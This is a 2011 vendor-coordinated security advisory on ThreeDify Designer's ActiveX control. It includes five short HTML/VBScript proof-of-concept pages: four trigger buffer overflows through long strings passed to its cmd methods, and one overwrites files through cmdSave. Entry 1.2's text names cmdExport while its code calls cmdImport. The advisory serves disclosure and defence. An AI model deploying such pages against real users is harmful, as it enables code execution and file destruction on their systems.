Multiple Vulnerabilities in ThreeDify Designer ActiveX Control
| Advisory ID: | HTB23020 |
| Product: | ThreeDify Designer |
| Vendor: | ThreeDify |
| Vulnerable Versions: | 5.0.2 and probably prior |
| Tested Version: | 5.0.2 |
| Advisory Publication: | June 7, 2011 [without technical details] |
| Vendor Notification: | June 7, 2011 |
| Public Disclosure: | July 30, 2011 |
| Latest Update: | July 18, 2011 |
| Vulnerability Type: | Buffer Errors [CWE-119]
Exposed Unsafe ActiveX Method [CWE-618] |
| Risk Level: | Critical |
|  |
| CVSSv2 Base Scores: | 10 (AV:N/AC:L/Au:N/C:C/I:C/A:C)
10 (AV:N/AC:L/Au:N/C:C/I:C/A:C) |
| Solution Status: | Fixed by Vendor |
| Discovered and Provided: | High-Tech Bridge Security Research Lab |
|
Advisory Details: |
High-Tech Bridge SA Security Research Lab has discovered multiple vulnerabilities in ThreeDify Designer ActiveX Control which could be exploited to compromise vulnerable system.
1) Buffer overflow vulnerabilities in ThreeDify Designer ActiveX Control
1.1 Boundary error exists in the "cmdExport()" method in ThreeDify.ThreeDifyDesigner.1 (ActiveSolid.dll) ActiveX control when handling overly log strings. A remote attacker can trick user into visiting a specially crafted webpage, cause buffer overflow and execute arbitrary code on the target system with privileges of the current user.
Exploitation example:
<html>
<body>
<object classid='clsid:32B165C1-AD31-11D5-8889-0010A4C62D06' id='target'></object>
<script language='vbscript'>
arg1=String(3000, "A")
target.cmdExport arg1
</script>
</body>
</html>
1.2 Boundary error exists in the "cmdExport()" method in ThreeDify.ThreeDifyDesigner.1 (ActiveSolid.dll) ActiveX control when handling overly log strings. A remote attacker can trick user into visiting a specially crafted webpage, cause buffer overflow and execute arbitrary code on the target system with privileges of the current user.
Exploitation example:
<html>
<body>
<object classid='clsid:32B165C1-AD31-11D5-8889-0010A4C62D06' id='target'></object>
<script language='vbscript'>
arg1=String(3000, "A")
target.cmdImport arg1
</script>
</body>
</html>
1.3 Boundary error exists in the "cmdOpen()" method in ThreeDify.ThreeDifyDesigner.1 (ActiveSolid.dll) ActiveX control when handling overly log strings. A remote attacker can trick user into visiting a specially crafted webpage, cause buffer overflow and execute arbitrary code on the target system with privileges of the current user.
Exploitation example:
<html>
<body>
<object classid='clsid:32B165C1-AD31-11D5-8889-0010A4C62D06' id='target'></object>
<script language='vbscript'>
arg1=String(3000, "A")
target.cmdOpen arg1
</script>
</body>
</html>
1.4 Boundary error exists in the "cmdSave()" method in ThreeDify.ThreeDifyDesigner.1 (ActiveSolid.dll) ActiveX control when handling overly log strings. A remote attacker can trick user into visiting a specially crafted webpage, cause buffer overflow and execute arbitrary code on the target system with privileges of the current user.
Exploitation example:
<html>
<body>
<object classid='clsid:32B165C1-AD31-11D5-8889-0010A4C62D06' id='target'></object>
<script language='vbscript'>
arg1=String(3000, "A")
target.cmdSave arg1
</script>
</body>
</html>
2) Insecure method in ThreeDify Designer ActiveX Control
The vulnerability exists due to usage of insecure method "cmdSave()" in ThreeDify.ThreeDifyDesigner.1 (ActiveSolid.dll) ActiveX control. A remote attacker can trick user into visiting a specially crafted webpage and create or overwrite arbitrary files on the target system with privileges of the current user.
Exploitation example:
<html>
<object classid='clsid:32B165C1-AD31-11D5-8889-0010A4C62D06' id='target' /></object>
<input language=VBScript onclick=Boom() type=button value="Exploit">
<script language = 'vbscript'>
Sub Boom()
arg1="FilePath\Filename_to_create_or_to_overwrite"
target.cmdSave arg1
End Sub
</script>
</html>
|
- GDPR & PCI DSS Test
- Website CMS Security Test
- CSP & HTTP Headers Check
- WordPress & Drupal Scanning
Try For Free
Solution: |
| Upgrade to the most recent version |
| |
References: |
[1] High-Tech Bridge Advisory HTB23020 - https://www.immuniweb.com/advisory/HTB23020 - Multiple Vulnerabilities in ThreeDify Designer ActiveX Control
[2] ThreeDify Designer - threedify.com - ThreeDify Designer is a fast, intuitive and lightweight 3D modelling, viewing and assembly design tool.
[3] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types. |
|
Have additional information to submit?
Please feel free to send us any additional information related to this Advisory, such as vulnerable versions, additional exploitation details and conditions, patches and other relevant details.
